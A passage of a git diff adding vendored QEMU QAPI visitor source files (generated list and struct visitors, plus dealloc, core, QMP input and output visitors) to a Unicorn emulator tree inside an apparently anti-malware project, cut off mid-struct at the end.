NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint8List *native_i = (uint8List *)i; + visit_type_uint8(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint16List(Visitor *m, uint16List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint16List *native_i = (uint16List *)i; + visit_type_uint16(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint32List(Visitor *m, uint32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint32List *native_i = (uint32List *)i; + visit_type_uint32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint64List(Visitor *m, uint64List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint64List *native_i = (uint64List *)i; + visit_type_uint64(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_ErrorClassList(Visitor *m, ErrorClassList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + ErrorClassList *native_i = (ErrorClassList *)i; + visit_type_ErrorClass(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_ErrorClass(Visitor *m, ErrorClass *obj, const char *name, Error **errp) +{ + visit_type_enum(m, (int *)obj, ErrorClass_lookup, "ErrorClass", name, errp); +} + +void visit_type_X86CPURegister32List(Visitor *m, X86CPURegister32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + X86CPURegister32List *native_i = (X86CPURegister32List *)i; + visit_type_X86CPURegister32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_X86CPURegister32(Visitor *m, X86CPURegister32 *obj, const char *name, Error **errp) +{ + visit_type_enum(m, (int *)obj, X86CPURegister32_lookup, "X86CPURegister32", name, errp); +} + +static void visit_type_X86CPUFeatureWordInfo_fields(Visitor *m, X86CPUFeatureWordInfo **obj, Error **errp) +{ + Error *err = NULL; + visit_type_int(m, &(*obj)->cpuid_input_eax, "cpuid-input-eax", &err); + if (err) { + goto out; + } + visit_optional(m, &(*obj)->has_cpuid_input_ecx, "cpuid-input-ecx", &err); + if (!err && (*obj)->has_cpuid_input_ecx) { + visit_type_int(m, &(*obj)->cpuid_input_ecx, "cpuid-input-ecx", &err); + } + if (err) { + goto out; + } + visit_type_X86CPURegister32(m, &(*obj)->cpuid_register, "cpuid-register", &err); + if (err) { + goto out; + } + visit_type_int(m, &(*obj)->features, "features", &err); + if (err) { + goto out; + } + +out: + error_propagate(errp, err); +} + +void visit_type_X86CPUFeatureWordInfo(Visitor *m, X86CPUFeatureWordInfo **obj, const char *name, Error **errp) +{ + Error *err = NULL; + + visit_start_struct(m, (void **)obj, "X86CPUFeatureWordInfo", name, sizeof(X86CPUFeatureWordInfo), &err); + if (!err) { + if (*obj) { + visit_type_X86CPUFeatureWordInfo_fields(m, obj, errp); + } + visit_end_struct(m, &err); + } + error_propagate(errp, err); +} + +void visit_type_X86CPUFeatureWordInfoList(Visitor *m, X86CPUFeatureWordInfoList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + X86CPUFeatureWordInfoList *native_i = (X86CPUFeatureWordInfoList *)i; + visit_type_X86CPUFeatureWordInfo(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.h b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.h new file mode 100644 index 0000000..51bd088 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.h @@ -0,0 +1,51 @@ +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QAPI_VISIT_H +#define QAPI_VISIT_H + +#include "qapi/visitor.h" +#include "qapi-types.h" + + +#ifndef QAPI_VISIT_BUILTIN_VISITOR_DECL_H +#define QAPI_VISIT_BUILTIN_VISITOR_DECL_H + +void visit_type_strList(Visitor *m, strList **obj, const char *name, Error **errp); +void visit_type_intList(Visitor *m, intList **obj, const char *name, Error **errp); +void visit_type_numberList(Visitor *m, numberList **obj, const char *name, Error **errp); +void visit_type_boolList(Visitor *m, boolList **obj, const char *name, Error **errp); +void visit_type_int8List(Visitor *m, int8List **obj, const char *name, Error **errp); +void visit_type_int16List(Visitor *m, int16List **obj, const char *name, Error **errp); +void visit_type_int32List(Visitor *m, int32List **obj, const char *name, Error **errp); +void visit_type_int64List(Visitor *m, int64List **obj, const char *name, Error **errp); +void visit_type_uint8List(Visitor *m, uint8List **obj, const char *name, Error **errp); +void visit_type_uint16List(Visitor *m, uint16List **obj, const char *name, Error **errp); +void visit_type_uint32List(Visitor *m, uint32List **obj, const char *name, Error **errp); +void visit_type_uint64List(Visitor *m, uint64List **obj, const char *name, Error **errp); + +#endif /* QAPI_VISIT_BUILTIN_VISITOR_DECL_H */ + + +void visit_type_ErrorClass(Visitor *m, ErrorClass *obj, const char *name, Error **errp); +void visit_type_ErrorClassList(Visitor *m, ErrorClassList **obj, const char *name, Error **errp); + +void visit_type_X86CPURegister32(Visitor *m, X86CPURegister32 *obj, const char *name, Error **errp); +void visit_type_X86CPURegister32List(Visitor *m, X86CPURegister32List **obj, const char *name, Error **errp); + +void visit_type_X86CPUFeatureWordInfo(Visitor *m, X86CPUFeatureWordInfo **obj, const char *name, Error **errp); +void visit_type_X86CPUFeatureWordInfoList(Visitor *m, X86CPUFeatureWordInfoList **obj, const char *name, Error **errp); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/Makefile.objs new file mode 100644 index 0000000..00e40d6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/Makefile.objs @@ -0,0 +1,3 @@ +util-obj-y = qapi-visit-core.o qapi-dealloc-visitor.o qmp-input-visitor.o +util-obj-y += qmp-output-visitor.o +util-obj-y += string-input-visitor.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-dealloc-visitor.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-dealloc-visitor.c new file mode 100644 index 0000000..a14a1c7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-dealloc-visitor.c @@ -0,0 +1,224 @@ +/* + * Dealloc Visitor + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Michael Roth + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/dealloc-visitor.h" +#include "qemu/queue.h" +#include "qemu-common.h" +#include "qapi/qmp/types.h" +#include "qapi/visitor-impl.h" + +typedef struct StackEntry +{ + void *value; + bool is_list_head; + QTAILQ_ENTRY(StackEntry) node; +} StackEntry; + +struct QapiDeallocVisitor +{ + Visitor visitor; + QTAILQ_HEAD(, StackEntry) stack; + bool is_list_head; +}; + +static QapiDeallocVisitor *to_qov(Visitor *v) +{ + return container_of(v, QapiDeallocVisitor, visitor); +} + +static void qapi_dealloc_push(QapiDeallocVisitor *qov, void *value) +{ + StackEntry *e = g_malloc0(sizeof(*e)); + + e->value = value; + + /* see if we're just pushing a list head tracker */ + if (value == NULL) { + e->is_list_head = true; + } + QTAILQ_INSERT_HEAD(&qov->stack, e, node); +} + +static void *qapi_dealloc_pop(QapiDeallocVisitor *qov) +{ + StackEntry *e = QTAILQ_FIRST(&qov->stack); + QObject *value; + QTAILQ_REMOVE(&qov->stack, e, node); + value = e->value; + g_free(e); + return value; +} + +static void qapi_dealloc_start_struct(Visitor *v, void **obj, const char *kind, + const char *name, size_t unused, + Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + qapi_dealloc_push(qov, obj); +} + +static void qapi_dealloc_end_struct(Visitor *v, Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + void **obj = qapi_dealloc_pop(qov); + if (obj) { + g_free(*obj); + } +} + +static void qapi_dealloc_start_implicit_struct(Visitor *v, + void **obj, + size_t size, + Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + qapi_dealloc_push(qov, obj); +} + +static void qapi_dealloc_end_implicit_struct(Visitor *v, Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + void **obj = qapi_dealloc_pop(qov); + if (obj) { + g_free(*obj); + } +} + +static void qapi_dealloc_start_list(Visitor *v, const char *name, Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + qapi_dealloc_push(qov, NULL); +} + +static GenericList *qapi_dealloc_next_list(Visitor *v, GenericList **listp, + Error **errp) +{ + GenericList *list = *listp; + QapiDeallocVisitor *qov = to_qov(v); + StackEntry *e = QTAILQ_FIRST(&qov->stack); + + if (e && e->is_list_head) { + e->is_list_head = false; + return list; + } + + if (list) { + list = list->next; + g_free(*listp); + return list; + } + + return NULL; +} + +static void qapi_dealloc_end_list(Visitor *v, Error **errp) +{ + QapiDeallocVisitor *qov = to_qov(v); + void *obj = qapi_dealloc_pop(qov); + assert(obj == NULL); /* should've been list head tracker with no payload */ +} + +static void qapi_dealloc_type_str(Visitor *v, char **obj, const char *name, + Error **errp) +{ + if (obj) { + g_free(*obj); + } +} + +static void qapi_dealloc_type_int(Visitor *v, int64_t *obj, const char *name, + Error **errp) +{ +} + +static void qapi_dealloc_type_bool(Visitor *v, bool *obj, const char *name, + Error **errp) +{ +} + +static void qapi_dealloc_type_number(Visitor *v, double *obj, const char *name, + Error **errp) +{ +} + +static void qapi_dealloc_type_size(Visitor *v, uint64_t *obj, const char *name, + Error **errp) +{ +} + +static void qapi_dealloc_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, + Error **errp) +{ +} + +/* If there's no data present, the dealloc visitor has nothing to free. + * Thus, indicate to visitor code that the subsequent union fields can + * be skipped. This is not an error condition, since the cleanup of the + * rest of an object can continue unhindered, so leave errp unset in + * these cases. + * + * NOTE: In cases where we're attempting to deallocate an object that + * may have missing fields, the field indicating the union type may + * be missing. In such a case, it's possible we don't have enough + * information to differentiate data_present == false from a case where + * data *is* present but happens to be a scalar with a value of 0. + * This is okay, since in the case of the dealloc visitor there's no + * work that needs to done in either situation. + * + * The current inability in QAPI code to more thoroughly verify a union + * type in such cases will likely need to be addressed if we wish to + * implement this interface for other types of visitors in the future, + * however. + */ +static bool qapi_dealloc_start_union(Visitor *v, bool data_present, + Error **errp) +{ + return data_present; +} + +Visitor *qapi_dealloc_get_visitor(QapiDeallocVisitor *v) +{ + return &v->visitor; +} + +void qapi_dealloc_visitor_cleanup(QapiDeallocVisitor *v) +{ + g_free(v); +} + +QapiDeallocVisitor *qapi_dealloc_visitor_new(void) +{ + QapiDeallocVisitor *v; + + v = g_malloc0(sizeof(*v)); + + v->visitor.start_struct = qapi_dealloc_start_struct; + v->visitor.end_struct = qapi_dealloc_end_struct; + v->visitor.start_implicit_struct = qapi_dealloc_start_implicit_struct; + v->visitor.end_implicit_struct = qapi_dealloc_end_implicit_struct; + v->visitor.start_list = qapi_dealloc_start_list; + v->visitor.next_list = qapi_dealloc_next_list; + v->visitor.end_list = qapi_dealloc_end_list; + v->visitor.type_enum = qapi_dealloc_type_enum; + v->visitor.type_int = qapi_dealloc_type_int; + v->visitor.type_bool = qapi_dealloc_type_bool; + v->visitor.type_str = qapi_dealloc_type_str; + v->visitor.type_number = qapi_dealloc_type_number; + v->visitor.type_size = qapi_dealloc_type_size; + v->visitor.start_union = qapi_dealloc_start_union; + + QTAILQ_INIT(&v->stack); + + return v; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-visit-core.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-visit-core.c new file mode 100644 index 0000000..5f91840 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qapi-visit-core.c @@ -0,0 +1,313 @@ +/* + * Core Definitions for QAPI Visitor Classes + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qemu-common.h" +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qerror.h" +#include "qapi/visitor.h" +#include "qapi/visitor-impl.h" + +void visit_start_struct(Visitor *v, void **obj, const char *kind, + const char *name, size_t size, Error **errp) +{ + v->start_struct(v, obj, kind, name, size, errp); +} + +void visit_end_struct(Visitor *v, Error **errp) +{ + v->end_struct(v, errp); +} + +void visit_start_implicit_struct(Visitor *v, void **obj, size_t size, + Error **errp) +{ + if (v->start_implicit_struct) { + v->start_implicit_struct(v, obj, size, errp); + } +} + +void visit_end_implicit_struct(Visitor *v, Error **errp) +{ + if (v->end_implicit_struct) { + v->end_implicit_struct(v, errp); + } +} + +void visit_start_list(Visitor *v, const char *name, Error **errp) +{ + v->start_list(v, name, errp); +} + +GenericList *visit_next_list(Visitor *v, GenericList **list, Error **errp) +{ + return v->next_list(v, list, errp); +} + +void visit_end_list(Visitor *v, Error **errp) +{ + v->end_list(v, errp); +} + +bool visit_start_union(Visitor *v, bool data_present, Error **errp) +{ + if (v->start_union) { + return v->start_union(v, data_present, errp); + } + return true; +} + +void visit_end_union(Visitor *v, bool data_present, Error **errp) +{ + if (v->end_union) { + v->end_union(v, data_present, errp); + } +} + +void visit_optional(Visitor *v, bool *present, const char *name, + Error **errp) +{ + if (v->optional) { + v->optional(v, present, name, errp); + } +} + +void visit_get_next_type(Visitor *v, int *obj, const int *qtypes, + const char *name, Error **errp) +{ + if (v->get_next_type) { + v->get_next_type(v, obj, qtypes, name, errp); + } +} + +void visit_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, Error **errp) +{ + v->type_enum(v, obj, strings, kind, name, errp); +} + +void visit_type_int(Visitor *v, int64_t *obj, const char *name, Error **errp) +{ + v->type_int(v, obj, name, errp); +} + +void visit_type_uint8(Visitor *v, uint8_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_uint8) { + v->type_uint8(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < 0 || value > UINT8_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "uint8_t"); + return; + } + *obj = (uint8_t)value; + } +} + +void visit_type_uint16(Visitor *v, uint16_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_uint16) { + v->type_uint16(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < 0 || value > UINT16_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "uint16_t"); + return; + } + *obj = (uint16_t)value; + } +} + +void visit_type_uint32(Visitor *v, uint32_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_uint32) { + v->type_uint32(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < 0 || value > UINT32_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "uint32_t"); + return; + } + *obj = (uint32_t)value; + } +} + +void visit_type_uint64(Visitor *v, uint64_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_uint64) { + v->type_uint64(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + *obj = value; + } +} + +void visit_type_int8(Visitor *v, int8_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_int8) { + v->type_int8(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < INT8_MIN || value > INT8_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "int8_t"); + return; + } + *obj = (int8_t)value; + } +} + +void visit_type_int16(Visitor *v, int16_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_int16) { + v->type_int16(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < INT16_MIN || value > INT16_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "int16_t"); + return; + } + *obj = (int16_t)value; + } +} + +void visit_type_int32(Visitor *v, int32_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_int32) { + v->type_int32(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + if (value < INT32_MIN || value > INT32_MAX) { + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name ? name : "null", + "int32_t"); + return; + } + *obj = (int32_t)value; + } +} + +void visit_type_int64(Visitor *v, int64_t *obj, const char *name, Error **errp) +{ + if (v->type_int64) { + v->type_int64(v, obj, name, errp); + } else { + v->type_int(v, obj, name, errp); + } +} + +void visit_type_size(Visitor *v, uint64_t *obj, const char *name, Error **errp) +{ + int64_t value; + + if (v->type_size) { + v->type_size(v, obj, name, errp); + } else if (v->type_uint64) { + v->type_uint64(v, obj, name, errp); + } else { + value = *obj; + v->type_int(v, &value, name, errp); + *obj = value; + } +} + +void visit_type_bool(Visitor *v, bool *obj, const char *name, Error **errp) +{ + v->type_bool(v, obj, name, errp); +} + +void visit_type_str(Visitor *v, char **obj, const char *name, Error **errp) +{ + v->type_str(v, obj, name, errp); +} + +void visit_type_number(Visitor *v, double *obj, const char *name, Error **errp) +{ + v->type_number(v, obj, name, errp); +} + +void output_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, + Error **errp) +{ + int i = 0; + int value = *obj; + char *enum_str; + + assert(strings); + while (strings[i++] != NULL); + if (value < 0 || value >= i - 1) { + error_set(errp, QERR_INVALID_PARAMETER, name ? name : "null"); + return; + } + + enum_str = (char *)strings[value]; + visit_type_str(v, &enum_str, name, errp); +} + +void input_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, + Error **errp) +{ + Error *local_err = NULL; + int64_t value = 0; + char *enum_str; + + assert(strings); + + visit_type_str(v, &enum_str, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return; + } + + while (strings[value] != NULL) { + if (strcmp(strings[value], enum_str) == 0) { + break; + } + value++; + } + + if (strings[value] == NULL) { + error_set(errp, QERR_INVALID_PARAMETER, enum_str); + g_free(enum_str); + return; + } + + g_free(enum_str); + *obj = (int)value; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-input-visitor.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-input-visitor.c new file mode 100644 index 0000000..33dd754 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-input-visitor.c @@ -0,0 +1,349 @@ +/* + * Input Visitor + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/qmp-input-visitor.h" +#include "qapi/visitor-impl.h" +#include "qemu/queue.h" +#include "qemu-common.h" +#include "qapi/qmp/types.h" +#include "qapi/qmp/qerror.h" + +#define QIV_STACK_SIZE 1024 + +typedef struct StackObject +{ + QObject *obj; + const QListEntry *entry; + GHashTable *h; +} StackObject; + +struct QmpInputVisitor +{ + Visitor visitor; + StackObject stack[QIV_STACK_SIZE]; + int nb_stack; + bool strict; +}; + +static QmpInputVisitor *to_qiv(Visitor *v) +{ + return container_of(v, QmpInputVisitor, visitor); +} + +static QObject *qmp_input_get_object(QmpInputVisitor *qiv, + const char *name, + bool consume) +{ + QObject *qobj = qiv->stack[qiv->nb_stack - 1].obj; + + if (qobj) { + if (name && qobject_type(qobj) == QTYPE_QDICT) { + if (qiv->stack[qiv->nb_stack - 1].h && consume) { + g_hash_table_remove(qiv->stack[qiv->nb_stack - 1].h, name); + } + return qdict_get(qobject_to_qdict(qobj), name); + } else if (qiv->stack[qiv->nb_stack - 1].entry) { + return qlist_entry_obj(qiv->stack[qiv->nb_stack - 1].entry); + } + } + + return qobj; +} + +static void qdict_add_key(const char *key, QObject *obj, void *opaque) +{ + GHashTable *h = opaque; + g_hash_table_insert(h, (gpointer) key, NULL); +} + +static void qmp_input_push(QmpInputVisitor *qiv, QObject *obj, Error **errp) +{ + GHashTable *h; + + if (qiv->nb_stack >= QIV_STACK_SIZE) { + error_setg(errp, "An internal buffer overran"); + return; + } + + qiv->stack[qiv->nb_stack].obj = obj; + qiv->stack[qiv->nb_stack].entry = NULL; + qiv->stack[qiv->nb_stack].h = NULL; + + if (qiv->strict && qobject_type(obj) == QTYPE_QDICT) { + h = g_hash_table_new(g_str_hash, g_str_equal); + qdict_iter(qobject_to_qdict(obj), qdict_add_key, h); + qiv->stack[qiv->nb_stack].h = h; + } + + qiv->nb_stack++; +} + +/** Only for qmp_input_pop. */ +static gboolean always_true(gpointer key, gpointer val, gpointer user_pkey) +{ + *(const char **)user_pkey = (const char *)key; + return TRUE; +} + +static void qmp_input_pop(QmpInputVisitor *qiv, Error **errp) +{ + assert(qiv->nb_stack > 0); + + if (qiv->strict) { + GHashTable * const top_ht = qiv->stack[qiv->nb_stack - 1].h; + if (top_ht) { + if (g_hash_table_size(top_ht)) { + const char *key; + g_hash_table_find(top_ht, always_true, (gpointer)&key); + error_set(errp, QERR_QMP_EXTRA_MEMBER, key); + } + g_hash_table_unref(top_ht); + } + } + + qiv->nb_stack--; +} + +static void qmp_input_start_struct(Visitor *v, void **obj, const char *kind, + const char *name, size_t size, Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + Error *err = NULL; + + if (!qobj || qobject_type(qobj) != QTYPE_QDICT) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "QDict"); + return; + } + + qmp_input_push(qiv, qobj, &err); + if (err) { + error_propagate(errp, err); + return; + } + + if (obj) { + *obj = g_malloc0(size); + } +} + +static void qmp_input_end_struct(Visitor *v, Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + + qmp_input_pop(qiv, errp); +} + +static void qmp_input_start_implicit_struct(Visitor *v, void **obj, + size_t size, Error **errp) +{ + if (obj) { + *obj = g_malloc0(size); + } +} + +static void qmp_input_end_implicit_struct(Visitor *v, Error **errp) +{ +} + +static void qmp_input_start_list(Visitor *v, const char *name, Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj || qobject_type(qobj) != QTYPE_QLIST) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "list"); + return; + } + + qmp_input_push(qiv, qobj, errp); +} + +static GenericList *qmp_input_next_list(Visitor *v, GenericList **list, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + GenericList *entry; + StackObject *so = &qiv->stack[qiv->nb_stack - 1]; + bool first; + + if (so->entry == NULL) { + so->entry = qlist_first(qobject_to_qlist(so->obj)); + first = true; + } else { + so->entry = qlist_next(so->entry); + first = false; + } + + if (so->entry == NULL) { + return NULL; + } + + entry = g_malloc0(sizeof(*entry)); + if (first) { + *list = entry; + } else { + (*list)->next = entry; + } + + return entry; +} + +static void qmp_input_end_list(Visitor *v, Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + + qmp_input_pop(qiv, errp); +} + +static void qmp_input_get_next_type(Visitor *v, int *kind, const int *qobjects, + const char *name, Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, false); + + if (!qobj) { + error_set(errp, QERR_MISSING_PARAMETER, name ? name : "null"); + return; + } + *kind = qobjects[qobject_type(qobj)]; +} + +static void qmp_input_type_int(Visitor *v, int64_t *obj, const char *name, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj || qobject_type(qobj) != QTYPE_QINT) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "integer"); + return; + } + + *obj = qint_get_int(qobject_to_qint(qobj)); +} + +static void qmp_input_type_bool(Visitor *v, bool *obj, const char *name, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj || qobject_type(qobj) != QTYPE_QBOOL) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "boolean"); + return; + } + + *obj = qbool_get_int(qobject_to_qbool(qobj)); +} + +static void qmp_input_type_str(Visitor *v, char **obj, const char *name, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj || qobject_type(qobj) != QTYPE_QSTRING) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "string"); + return; + } + + *obj = g_strdup(qstring_get_str(qobject_to_qstring(qobj))); +} + +static void qmp_input_type_number(Visitor *v, double *obj, const char *name, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj || (qobject_type(qobj) != QTYPE_QFLOAT && + qobject_type(qobj) != QTYPE_QINT)) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "number"); + return; + } + + if (qobject_type(qobj) == QTYPE_QINT) { + *obj = (double)qint_get_int(qobject_to_qint(qobj)); + } else { + *obj = qfloat_get_double(qobject_to_qfloat(qobj)); + } +} + +static void qmp_input_optional(Visitor *v, bool *present, const char *name, + Error **errp) +{ + QmpInputVisitor *qiv = to_qiv(v); + QObject *qobj = qmp_input_get_object(qiv, name, true); + + if (!qobj) { + *present = false; + return; + } + + *present = true; +} + +Visitor *qmp_input_get_visitor(QmpInputVisitor *v) +{ + return &v->visitor; +} + +void qmp_input_visitor_cleanup(QmpInputVisitor *v) +{ + qobject_decref(v->stack[0].obj); + g_free(v); +} + +QmpInputVisitor *qmp_input_visitor_new(QObject *obj) +{ + QmpInputVisitor *v; + + v = g_malloc0(sizeof(*v)); + + v->visitor.start_struct = qmp_input_start_struct; + v->visitor.end_struct = qmp_input_end_struct; + v->visitor.start_implicit_struct = qmp_input_start_implicit_struct; + v->visitor.end_implicit_struct = qmp_input_end_implicit_struct; + v->visitor.start_list = qmp_input_start_list; + v->visitor.next_list = qmp_input_next_list; + v->visitor.end_list = qmp_input_end_list; + v->visitor.type_enum = input_type_enum; + v->visitor.type_int = qmp_input_type_int; + v->visitor.type_bool = qmp_input_type_bool; + v->visitor.type_str = qmp_input_type_str; + v->visitor.type_number = qmp_input_type_number; + v->visitor.optional = qmp_input_optional; + v->visitor.get_next_type = qmp_input_get_next_type; + + qmp_input_push(v, obj, NULL); + qobject_incref(obj); + + return v; +} + +QmpInputVisitor *qmp_input_visitor_new_strict(QObject *obj) +{ + QmpInputVisitor *v; + + v = qmp_input_visitor_new(obj); + v->strict = true; + + return v; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-output-visitor.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-output-visitor.c new file mode 100644 index 0000000..96b3384 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/qmp-output-visitor.c @@ -0,0 +1,241 @@ +/* + * Core Definitions for QAPI/QMP Command Registry + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/qmp-output-visitor.h" +#include "qapi/visitor-impl.h" +#include "qemu/queue.h" +#include "qemu-common.h" +#include "qapi/qmp/types.h" +#include "qapi/qmp/qerror.h" + +typedef struct QStackEntry +{ + QObject *value; + bool is_list_head; + QTAILQ_ENTRY(QStackEntry) node; +} QStackEntry; + +typedef QTAILQ_HEAD(QStack, QStackEntry) QStack; + +struct QmpOutputVisitor +{ + Visitor visitor; + QStack 